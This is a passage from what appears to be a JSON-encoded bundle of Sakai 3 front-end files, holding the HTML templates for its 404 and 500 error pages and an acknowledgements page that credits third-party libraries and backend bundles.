class=\"error_content_second_column_box_item_content\">\n                                        <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=${w.id}\">${w.label}</a>\n                                    </div>\n                                </div>\n                                {if !w.last}\n                                    <hr class=\"s3d-split-line fl-push\" />\n                                {/if}\n                            {/for}\n                            <div class=\"error_content_second_column_box_footer\"></div>\n                            --></div>\n                        </div>\n                    </div>\n\n                    <div class=\"error_content_second_column_box browse_cats\">\n                        <div class=\"s3d-contentpage-title\">__MSG__BROWSE_CATEGORIES__</div>\n                        <div id=\"error_content_second_column_box_browse_container\">\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <p>__MSG__YOU_CAN_BROWSE_THIS_INSTITUTION__ <a href=\"/categories\"><span class=\"error_browse_cats\"><span id=\"error_browse_category_number\">0</span> __MSG__CATEGORIES_LC__</span></a> __MSG__WHERE_YOU_CAN_CONNECT_WITH_PEOPLE_VIEW_COURSE_DETAILS_SEARCH_FOR_CONTENT_AND_JOIN_GROUPS__</p>\n                                </div>\n                            </div>\n                         <div class=\"error_content_second_column_box_footer\">\n                            <a href=\"/categories\" id=\"error_browse_categories_button\">\n                                <button class=\"s3d-button s3d-overlay-button\">__MSG__BROWSE_CATEGORIES__</button>\n                            </a>\n                         </div>\n                        </div>\n                    </div>\n                </div>\n                <div id=\"error_content_first_column\">\n                    <img src=\"/dev/images/404_sinking.png\" alt=\"__MSG__THE_PAGE_YOU_REQUESTED_WAS_NOT_FOUND__\" />\n                    <div id=\"error_content_first_column_content\">\n                        <h1>__MSG__THE_PAGE_YOU_REQUESTED_WAS_NOT_FOUND__</h1>\n                        <h3 class=\"first\">__MSG__POSSIBLE_REASONS_FOR_THE_PAGE_NOT_BEING_FOUND__</h3>\n                        <div id=\"page_not_found_error\"></div>\n                        <div id=\"page_not_found_error_logged_out_template\" style=\"display:none;\"><!--\n                            <ol>\n                                <li>__MSG__LINKED_FROM_AN_OUTDATED_BOOKMARK__</li>\n                                <li>__MSG__A_MISTYPED_ADDRESS_URL_WAS_ENTERED__</li>\n                                <li>__MSG__AN_INCORRECT_LINK_WAS_FOLLOWED_FROM_SOMEWHERE__</li>\n                                <li>__MSG__YOU_MAY_NOT_HAVE_ACCESS_TO_VIEW_THE_PAGE_LOGGED_OUT__. <button id=\"signin_from_content\" class=\"s3d-link-button topnavigation_trigger_login\">__MSG__SIGN_IN__</button> __MSG__AND_TRY_AGAIN__</li>\n                            </ol>\n                        --></div>\n                        <div id=\"page_not_found_error_logged_in_template\" style=\"display:none;\"><!--\n                            <ol>\n                                <li>__MSG__LINKED_FROM_AN_OUTDATED_BOOKMARK__</li>\n                                <li>__MSG__A_MISTYPED_ADDRESS_URL_WAS_ENTERED__</li>\n                                <li>__MSG__AN_INCORRECT_LINK_WAS_FOLLOWED_FROM_SOMEWHERE__</li>\n                                <li>__MSG__YOU_MAY_NOT_HAVE_ACCESS_TO_VIEW_THE_PAGE_LOGGED_IN__</li>\n                            </ol>\n                        --></div>\n                        <h3>__MSG__WHAT_TO_DO_NOW_HERE_ARE_SOME_SUGGESTIONS__</h3>\n                        <div class=\"s3d-search-container\">\n                            <input type=\"text\" tabindex_none=\"40\" id=\"errorsearch_text\" title=\"__MSG__SEARCH_FOR__\" class=\"s3d-search-inputfield\" maxlength=\"255\"/>\n                            <button type=\"button\" class=\"s3d-button s3d-overlay-button s3d-search-button\">\n                                <img src=\"/dev/images/search_icon.png\" alt=\"__MSG__SEARCH_FOR__\"/>\n                            </button>\n                        </div>\n\n                        <div id=\"error_page_links_container\"></div>\n                        <div id=\"error_page_links_template\" style=\"display:none\"><!--\n                            <ul>\n                                {for w in links.whatToDo}\n                                    <li><a class=\"s3d-regular-links s3d-bold\" href=\"${w.url}\">${sakai.api.i18n.getValueForKey(w.title)}</a></li>\n                                {/for}\n                                {if document.referrer}\n                                    <li><a href=\"${document.referrer}\" class=\"s3d-regular-links s3d-bold\">__MSG__GO_BACK_BY_USING_YOUR_BROWSER_BACK_BUTTON__</a></li>\n                                {/if}\n                            </ul>\n\n                            {if links.getInTouch && links.getInTouch.length > 0}\n                                <h3>__MSG__GET_IN_TOUCH__</h3>\n                                <ul>\n                                    {for g in links.getInTouch}\n                                        <li><a class=\"s3d-regular-links s3d-bold\" href=\"${g.url}\">${sakai.api.i18n.getValueForKey(g.title)}</a></li>\n                                    {/for}\n                                </ul>\n                            {/if}\n                        --></div>\n                    </div>\n                </div>\n            </div>\n        </div>\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n\n        <!-- 404 JS -->\n        <script>require([\"/dev/javascript/sakai.404.js\"]);</script>\n    </body>\n</html>\n", "dev/500.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\" class=\"requireAnon\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <!-- Sakai 3 R&amp;D - Access denied -->\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n\n        <!-- Sakai Error CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.error.css\" />\n\n    </head>\n\n    <body class=\"fl-centered error500 i18nable\">\n\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_collections\" class=\"widget_inline\"></div>\n                    <div id=\"widget_institutionalskinning\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n        </div>\n        <div class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n            <div id=\"error_content\">\n                <div id=\"error_content_second_column\">\n                    <div id=\"error_sign_in_button\">\n                        <p class=\"error_signin_button topnavigation_trigger_login\"><button>__MSG__SIGN_IN__</button></p>\n                        <p id=\"error_sign_up\">__MSG__NO_ACCOUNT__ <a class=\"s3d-regular-links s3d-bold\" href=\"/register\">__MSG__SIGN_UP__</a></p>\n                    </div>\n                    <div class=\"error_content_second_column_box\">\n                        <div class=\"s3d-contentpage-title\">__MSG__ARE_YOU_LOOKING_FOR__</div>\n                        <div id=\"error_content_second_column_box_container\">\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=content\">__MSG__CONTENT__</a>\n                                </div>\n                            </div>\n                            <hr class=\"s3d-split-line fl-push\" />\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=people\">__MSG__PEOPLE__</a>\n                                </div>\n                            </div>\n                            <hr class=\"s3d-split-line fl-push\" />\n                            <div id=\"error_second_column_links_template\" style=\"display:none\"><!--\n                            {for w in worlds}\n                                <div class=\"error_content_second_column_box_item_container\">\n                                    <div class=\"error_content_second_column_box_item_content\">\n                                        <a class=\"s3d-regular-links s3d-bold\" href=\"/search#l=${w.id}\">${w.label}</a>\n                                    </div>\n                                </div>\n                                {if !w.last}\n                                    <hr class=\"s3d-split-line fl-push\" />\n                                {/if}\n                            {/for}\n                            <div class=\"error_content_second_column_box_footer\"></div>\n                            --></div>\n                        </div>\n                    </div>\n\n                    <div class=\"error_content_second_column_box browse_cats\">\n                        <div class=\"s3d-contentpage-title\">__MSG__BROWSE_CATEGORIES__</div>\n                        <div id=\"error_content_second_column_box_browse_container\">\n                            <div class=\"error_content_second_column_box_item_container\">\n                                <div class=\"error_content_second_column_box_item_content\">\n                                    <p>__MSG__YOU_CAN_BROWSE_THIS_INSTITUTION__ <a href=\"/categories\"><span class=\"error_browse_cats\"><span id=\"error_browse_category_number\"></span> __MSG__CATEGORIES_LC__</span></a> __MSG__WHERE_YOU_CAN_CONNECT_WITH_PEOPLE_VIEW_COURSE_DETAILS_SEARCH_FOR_CONTENT_AND_JOIN_GROUPS__</p>\n                                </div>\n                            </div>\n                         <div class=\"error_content_second_column_box_footer\">\n                            <a href=\"/categories\" id=\"error_browse_categories_button\">\n                                <button class=\"s3d-button s3d-overlay-button\">__MSG__BROWSE_CATEGORIES__</button>\n                            </a>\n                         </div>\n                        </div>\n                    </div>\n                </div>\n                <div id=\"error_content_first_column\">\n                    <img src=\"/dev/images/500_sinking.png\" alt=\"__MSG__OOPS_AN_ERROR_HAS_OCCURRED__\" />\n                    <div id=\"error_content_first_column_content\">\n                        <h1>__MSG__OOPS_AN_ERROR_HAS_OCCURRED__</h1>\n                        <h3 class=\"first\"></h3>\n\n                        <h3>__MSG__WHAT_TO_DO_NOW_HERE_ARE_SOME_SUGGESTIONS__</h3>\n                        <div class=\"s3d-search-container\">\n                            <input type=\"text\" tabindex_none=\"40\" id=\"errorsearch_text\" title=\"__MSG__SEARCH_FOR__\" class=\"s3d-search-inputfield\" maxlength=\"255\"/>\n                            <button type=\"button\" class=\"s3d-button s3d-overlay-button s3d-search-button\">\n                                <img src=\"/dev/images/search_icon.png\" alt=\"__MSG__SEARCH_FOR__\"/>\n                            </button>\n                        </div>\n\n                        <div id=\"error_page_links_container\"></div>\n                        <div id=\"error_page_links_template\" style=\"display:none\"><!--\n                            <ul>\n                                {for w in links.whatToDo}\n                                    <li><a class=\"s3d-regular-links s3d-bold\" href=\"${w.url}\">${sakai.api.i18n.getValueForKey(w.title)}</a></li>\n                                {/for}\n                                {if document.referrer}\n                                    <li><a href=\"${document.referrer}\" class=\"s3d-regular-links s3d-bold\">__MSG__GO_BACK_BY_USING_YOUR_BROWSER_BACK_BUTTON__</a></li>\n                                {/if}\n                            </ul>\n\n                            {if links.getInTouch && links.getInTouch.length > 0}\n                                <h3>__MSG__GET_IN_TOUCH__</h3>\n                                <ul>\n                                    {for g in links.getInTouch}\n                                        <li><a class=\"s3d-regular-links s3d-bold\" href=\"${g.url}\">${sakai.api.i18n.getValueForKey(g.title)}</a></li>\n                                    {/for}\n                                </ul>\n                            {/if}\n                        --></div>\n                    </div>\n                </div>\n            </div>\n        </div>\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n\n        <!-- 500 JS -->\n        <script>require([\"/dev/javascript/sakai.500.js\"]);</script>\n    </body>\n</html>\n", "dev/acknowledgements.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n\n        <!-- Sakai Page CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n        \n        <!-- Sakai Page CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.acknowledgements.css\" />\n\n    </head>\n    <body class=\"fl-centered acknowledgements i18nable\">\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_collections\" class=\"widget_inline\"></div>\n                    <div id=\"widget_entity\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n        </div>\n        \n        <!-- CONTENT -->\n        \n        <!-- CONTENT -->\n        <div id=\"acknowledgements_featured\" style=\"display:none\">\n            \n            <div class=\"acknowledgements_content\">\n\n            <!-- JQUERY -->\n            <div class=\"fl-fix fl-centered\">\n                <div class=\"fl-container fl-fix acknowledgement_container s3d-highlight_area_background\">\n                    <div class=\"fl-container\">\n                        <div class=\"acknowledgement_image_container\" style=\"float:left; width:200px;padding:10px;\">\n                        <img src=\"/dev/images/logo_jquery.png\" alt=\"__MSG__JQUERY__\"></img>\n                        <img src=\"/dev/images/logo_jquery_ui.png\" alt=\"__MSG__JQUERY__\"></img>\n                        </div>\n                        <div class=\"acknowledgement_information\">\n                            <h1>__MSG__JQUERY_AND_JQUERY_UI__</h1>\n                            <a href=\"http://www.jquery.com\">www.jquery.com</a> <br /><br />\n                            <span>__MSG__JQUERY_IS_A_FAST_AND_CONCISE__</span>\n                        </div>\n                    </div>\n                </div>\n            </div>\n\n            <!-- APACHE SLING -->\n            <div class=\"fl-fix fl-centered\">\n                <div class=\"fl-container fl-fix acknowledgement_container s3d-highlight_area_background\">\n                    <div class=\"fl-container\">\n                        <div class=\"acknowledgement_image_container\" style=\"float:left; width:200px;padding:10px;\">\n                            <img src=\"/dev/images/logo_sling.png\" alt=\"__MSG__APACHE_SLING__\"></img>\n                        </div>\n                        <div class=\"acknowledgement_information\">\n                            <h1>__MSG__APACHE_SLING__</h1>\n                            <a href=\"http://sling.apache.org\">sling.apache.org</a> <br /><br />\n                            <span>__MSG__APACHE_SLING_IS_A_WEB_FRAMWORK__</span>\n                        </div>\n                    </div>\n                </div>\n            </div>\n\n            <!-- FLUID -->\n            <div class=\"fl-fix fl-centered\">\n                <div class=\"fl-container fl-fix acknowledgement_container s3d-highlight_area_background\">\n                    <div class=\"fl-container\">\n                        <div class=\"acknowledgement_image_container\" style=\"float:left; width:200px;padding:10px;\">\n                            <img src=\"/dev/images/logo_fluid.png\" alt=\"__MSG__FLUID_INFUSION__\"></img>\n                        </div>\n                        <div class=\"acknowledgement_information\">\n                            <h1>__MSG__FLUID_INFUSION__</h1>\n                            <a href=\"http://www.fluidproject.org/products/infusion\">http://www.fluidproject.org/products/infusion</a> <br /><br />\n                            <span>__MSG__WE_THINK_GOOD_INTERFACES__</span>\n                        </div>\n                    </div>\n                </div>\n              </div>\n\n            </div>\n        </div>\n        <div id=\"acknowledgements_uitech\" style=\"display:none\">\n\n            <!-- SOFTWARE FROM THIRD PARTIES LIST -->\n            <div class=\"acknowledgements_content acknowledgements_third_party\">\n                <span>__MSG__THE_PRODUCT_INCLUDES_SOFTWARE_FROM__</span>\n\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__TRIMPATH__</h2>\n                    <a href=\"http://code.google.com/p/trimpath/wiki/JavaScriptTemplates\" target=\"_blank\">http://code.google.com/p/trimpath/wiki/JavaScriptTemplates</a>\n                    <br/>\n                    <span>__MSG__JAVASCRIPT_TEMPLATES__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__MOXIECODE_SYSTEMS_AB__</h2>\n                    <a href=\"http://tinymce.moxiecode.com/\" target=\"_blank\">tinymce.moxiecode.com</a>\n                    <br/>\n                    <span>__MSG__TINYMCE_JAVASCRIPT_WYSIWYG_EDITOR__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__GOOGLE_INC__</h2>\n                    <a href=\"http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer\" target=\"_blank\">http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer</a>\n                    <br/>\n                    <span>__MSG__JSHTMLSANITIZER_LIBRARY_FROM_THE_CAJA_PROJECT__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__JORDAN_BOESH__</h2>\n                    <a href=\"http://www.boedesign.com\" target=\"_blank\">www.boedesign.com</a>\n                    <br/>\n                    <span>__MSG__GRITTER_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__BRICE_BURGESS__</h2>\n                    <a href=\"http://dev.iceburg.net/jquery/jqModal\" target=\"_blank\">http://dev.iceburg.net/jquery/jqModal</a>\n                    <br/>\n                    <span>__MSG__JQMODAL_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__DREW_WILSON__</h2>\n                    <a href=\"http://code.drewwilson.com/entry/autosuggest-jquery-plugin\" target=\"_blank\">http://code.drewwilson.com/entry/autosuggest-jquery-plugin</a>\n                    <br/>\n                    <span>__MSG__AUTOSUGGEST_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__COWBOY_BEN_ALMAN__</h2>\n                    <a href=\"http://benalman.com/about/license\" target=\"_blank\">http://benalman.com/about/license</a>\n                    <br/>\n                    <span>__MSG__JQUERY_BBQ__</span>\n                </div>\n               <div class=\"acknowledgement_information\">\n                    <h2>__MSG__KLAUS_HARTL__</h2>\n                    <a href=\"http://stilbuero.de\" target=\"_blank\">stilbuero.de</a>\n                    <br/>\n                    <span>__MSG__COOKIE_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__MIKE_ALSUP__</h2>\n                    <a href=\"http://malsup.com/jquery/form\" target=\"_blank\">http://malsup.com/jquery/form</a>\n                    <br/>\n                    <span>__MSG__JQUERY_FORM_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__MICHAL_WOJCIECHOWSKI__</h2>\n                    <a href=\"http://odyniec.net/projects/imgareaselect\" target=\"_blank\">http://odyniec.net/projects/imgareaselect</a>\n                    <br/>\n                    <span>__MSG__IMGAREASELECT_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__MIKA_TUUPOLA_DYLAN_VERHEUL__</h2>\n                    <a href=\"http://www.appelsiini.net/projects/jeditable\" target=\"_blank\">http://www.appelsiini.net/projects/jeditable</a>\n                    <br/>\n                    <span>__MSG__JEDITABLE_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__BRANTLEY_HARRIS__</h2>\n                    <a href=\"http://code.google.com/p/jquery-json\" target=\"_blank\">http://code.google.com/p/jquery-json</a>\n                    <br/>\n                    <span>__MSG__JQUERY_JSON_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__IVAN_BOSZHANOV__</h2>\n                    <a href=\"http://jstree.com\" target=\"_blank\">jstree.com</a>\n                    <br/>\n                    <span>__MSG__JSTREE_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__FYNETWORKS_COM__</h2>\n                    <a href=\"http://www.fyneworks.com/jquery/multiple-file-upload\" target=\"_blank\">http://www.fyneworks.com/jquery/multiple-file-upload</a>\n                    <br/>\n                    <span>__MSG__JQUERY_MULTIPLE_FILE_UPLOAD_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__JON_PAUL_DAVIES__</h2>\n                    <a href=\"http://jonpauldavies.github.com/JQuery/Pager\" target=\"_blank\">http://jonpauldavies.github.com/JQuery/Pager</a>\n                    <br/>\n                    <span>__MSG__JQUERY_PAGER_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__AUTHOR_JEREMY_HORN__</h2>\n                    <a href=\"http://tpgblog.com/ThreeDots\" target=\"_blank\">http://tpgblog.com/ThreeDots</a>\n                    <br/>\n                    <span>__MSG__THREEDOTS_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__RYAN_MCGEARY__</h2>\n                    <a href=\"http://timeago.yarp.com\" target=\"_blank\">timeago.yarp.com</a>\n                    <br/>\n                    <span>__MSG__TIMEAGO_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__JORN_ZAEFFERER__</h2>\n                    <a href=\"http://bassistance.de/jquery-plugins/jquery-plugin-validation\" target=\"_blank\">http://bassistance.de/jquery-plugins/jquery-plugin-validation</a>\n                    <br/>\n                    <span>__MSG__JQUERY_VALIDATION_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__ADAM_VANDENBERG__</h2>\n                    <a href=\"http://adamv.com/dev/javascript/querystring\" target=\"_blank\">http://adamv.com/dev/javascript/querystring</a>\n                    <br/>\n                    <span>__MSG__QUERYSTRING__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__DOMINIC_MITCHELL__</h2>\n                    <a href=\"http://search.cpan.org/~hdm/JavaScript-JSLint-0.06\" target=\"_blank\">http://search.cpan.org/~hdm/JavaScript-JSLint-0.06</a>\n                    <br/>\n                    <span>__MSG__JAVASCRIPT_JSLINT__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__MICHAEL_MATHEWS__</h2>\n                    <a href=\"http://code.google.com/p/jsdoc-toolkit\" target=\"_blank\">http://code.google.com/p/jsdoc-toolkit</a>\n                    <br/>\n                    <span>__MSG__JSDOC_TOOLKIT__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__YAHOO_INC__</h2>\n                    <a href=\"http://developer.yahoo.com/yui/compressor\" target=\"_blank\">http://developer.yahoo.com/yui/compressor</a>\n                    <br/>\n                    <span>__MSG__YUI_COMPRESSOR__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__YUSUKE_KAMIYAMANE__</h2>\n                    <a href=\"http://p.yusukekamiyamane.com\" target=\"_blank\">p.yusukekamiyamane.com</a>\n                    <br/>\n                    <span>__MSG__FUGUE_ICONS__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__MARK_JAMES__</h2>\n                    <a href=\"http://www.famfamfam.com/lab/icons/silk\" target=\"_blank\">http://www.famfamfam.com/lab/icons/silk</a>\n                    <br/>\n                    <span>__MSG__SILK_ICONS__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__APACHE_SOFTWARE_FOUNDATION__</h2>\n                    <a href=\"http://www.apache.org\" target=\"_blank\">www.apache.org</a>\n                    <br/>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__ANT_CONTRIB__</h2>\n                    <a href=\"http://sourceforge.net/projects/ant-contrib\" target=\"_blank\">http://sourceforge.net/projects/ant-contrib</a>\n                    <br/>\n                </div>\n\n            </div>\n        </div>\n        <div id=\"acknowledgements_backendtech\" style=\"display:none\">\n\n            <!-- SOFTWARE FROM THIRD PARTIES LIST -->\n            <div class=\"acknowledgements_content acknowledgements_third_party\">\n\n                <!-- NAKAMURA -->\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__NAKAMURA_THE_SERVER_PART_OF_SAKAI_3__</h2>\n                    <ul>\n                        <li>__MSG__APACHE_ARIES_JMX_API__</li>\n                        <li>__MSG__APACHE_ARIES_JMS_CORE__</li>\n                        <li>__MSG__APACHE_COMMONS_IO_BUNDLE__</li>\n                        <li>__MSG__APACHE_DERBY__</li>\n                        <li>__MSG__APACHE_FELIX_BUNDLE_REPOSITORY__</li>\n                        <li>__MSG__APACHE_FELIX_CONFIGURATION_ADMIN_SERVICE__</li>\n                        <li>__MSG__APACHE_FELIX_DECLARATIVE_SERVICES__</li>\n                        <li>__MSG__APACHE_FELIX_EVENTADMIN__</li>\n                        <li>__MSG__APACHE_FELIX_FILE_INSTALL__</li>\n                        <li>__MSG__APACHE_FELIX_HTTP_WHITEBOARD__</li>\n                        <li>__MSG__APACHE_FELIX_METATYPE_SERVICE__</li>\n                        <li>__MSG__APACHE_FELIX_WEB_CONSOLE_EVENT_PLUGIN__</li>\n                        <li>__MSG__APACHE_FELIX_WEB_CONSOLE_MEMORY_USAGE_PLUGIN__</li>\n                        <li>__MSG__APACHE_FELIX_WEB_MANAGEMENT_CONSOLE__</li>\n                        <li>__MSG__APACHE_JACKRABBIT_API__</li>\n                        <li>__MSG__APACHE_SLING_ADAPTER_MANAGER_IMPLEMENTATION__</li>\n                        <li>__MSG__APACHE_SLING_API__</li>\n                        <li>__MSG__APACHE_SLING_AUTHENTICATION_SERVICE__</li>\n                        <li>__MSG__APACHE_SLING_BUNDLE_RESOURCE_PROVIDER__</li>\n                        <li>__MSG__APACHE_SLING_COMMONS_OSGI_SUPPORT__</li>\n                        <li>__MSG__APACHE_SLING_DEFAULT_GET_SERVLETS__</li>\n                        <li>__MSG__APACHE_SLING_DEFAULT_POST_SERVLETS__</li>\n                        <li>__MSG__APACHE_SLING_DYNAMIC_CLASS_LOADER_SUPPORT__</li>\n                        <li>__MSG__APACHE_SLING_ENGINE_IMPLEMENTATION__</li>\n                        <li>__MSG__APACHE_SLING_FILESYSTEM_RESOURCE_PROVIDER__</li>\n                        <li>__MSG__APACHE_SLING_GROOVY_EXTENSION__</li>\n                        <li>__MSG__APACHE_SLING_INITIAL_CONTENT_LOADER__</li>\n                        <li>__MSG__APACHE_SLING_JACKRABBIT_EMBEDDED_REPOSITORY__</li>\n                        <li>__MSG__APACHE_SLING_JACKRABBIT_JSR_ACCESS_CONTROL_MANAGER_SUPPORT__</li>\n                        <li>__MSG__APACHE_SLING_JCR_BASE_BUNDLE__</li>\n                        <li>__MSG__APACHE_SLING_JCR_CLASSLOADER__</li>\n                        <li>__MSG__APACHE_SLING_JCR_RESOURCE_RESOLVER__</li>\n                        <li>__MSG__APACHE_SLING_JCR_WEBCONSOLE_BUNDLE__</li>\n                        <li>__MSG__APACHE_SLING_JSON_LIBRARY__</li>\n                        <li>__MSG__APACHE_SLING_JSP_TAG_LIBRARY__</li>\n                        <li>__MSG__APACHE_SLING_LAUNCHPAD_CONTENT__</li>\n                        <li>__MSG__APACHE_SLING_MIME_TYPE_MAPPING_SUPPORT__</li>\n                        <li>__MSG__APACHE_SLING_OBJECT_CONTENT_MAPPING__</li>\n                        <li>__MSG__APACHE_SLING_OPENID_AUTHENTICATION__</li>\n                        <li>__MSG__APACHE_SLING_OSGI_LOGSERVICE_IMPLEMENTATION__</li>\n                        <li>__MSG__APACHE_SLING_REPOSITORY_API_BUNDLE__</li>\n                        <li>__MSG__APACHE_SLING_SCHEDULER_SUPPORT__</li>\n                        <li>__MSG__APACHE_SLING_SCRIPTING_CORE_IMPLEMENTATION__</li>\n                        <li>__MSG__APACHE_SLING_SCRIPTING_IMPLEMENTATION_API__</li>\n                        <li>__MSG__APACHE_SLING_SCRIPTING_JAVASCRIPT_SUPPORT__</li>\n                        <li>__MSG__APACHE_SLING_SCRIPTING_JSP_SUPPORT__</li>\n                        <li>__MSG__APACHE_SLING_SERVLET_RESOLVER__</li>\n                        <li>__MSG__APACHE_SLING_SETTINGS__</li>\n                        <li>__MSG__APACHE_SLING_THREAD_DUMPER__</li>\n                        <li>__MSG__APACHE_SLING_THREAD_SUPPORT__</li>\n                        <li>__MSG__APACHE_SLING_WEB_CONSOLE_BRANDING__</li>\n                        <li>__MSG__APACHE_SLING_WEB_CONSOLE_SECURITY_PROVIDER__</li>\n                        <li>__MSG__COMMONS_CODE__</li>\n                        <li>__MSG__COMMONS_COLLECTIONS__</li>\n                        <li>__MSG__COMMONS_EMAIL__</li>\n                        <li>__MSG__COMMONS_FILEUPLOAD__</li>\n                        <li>__MSG__COMMONS_LANG__</li>\n                        <li>__MSG__COMMONS_POOL__</li>\n                        <li>__MSG__CONTENT_REPOSITORY_FOR_JAVATM_TECHNOLOGY_API__</li>\n                        <li>__MSG__GERONIMO_EJB__</li>\n                        <li>__MSG__GERONIMO_J2EE_CONNECTOR__</li>\n                        <li>__MSG__GERONIMO_J2EE_MANAGEMENT__</li>\n                        <li>__MSG__GERONIMO_JMS__</li>\n                        <li>__MSG__GERONIMO_JTA__</li>\n                        <li>__MSG__GROOVY_RUNTIME__</li>\n                        <li>__MSG__JACKRABBIT_JCR_COMMONS__</li>\n                        <li>__MSG__JACKRABBIT_JCR_RMI__</li>\n                        <li>__MSG__JACKRABBIT_SPI__</li>\n                        <li>__MSG__JACKRABBIT_SPI_COMMONS__</li>\n                        <li>__MSG__JAXB_API__</li>\n                        <li>__MSG__NAKAMURA_HTTP_JETTY__</li>\n                        <li>__MSG__OPS4J_PAX_WEB_SERVICE__</li>\n                        <li>__MSG__SAKAI_3_UX_LOADER__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_ACTIVE_MQ_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_ACTIVITY_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_APACHE_COMMONS_HTTPCLIENT_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_AUTHORIZATION_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_BASIC_LTI_CONSUMER_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_BATCH_BUNDLE__</li>\n                        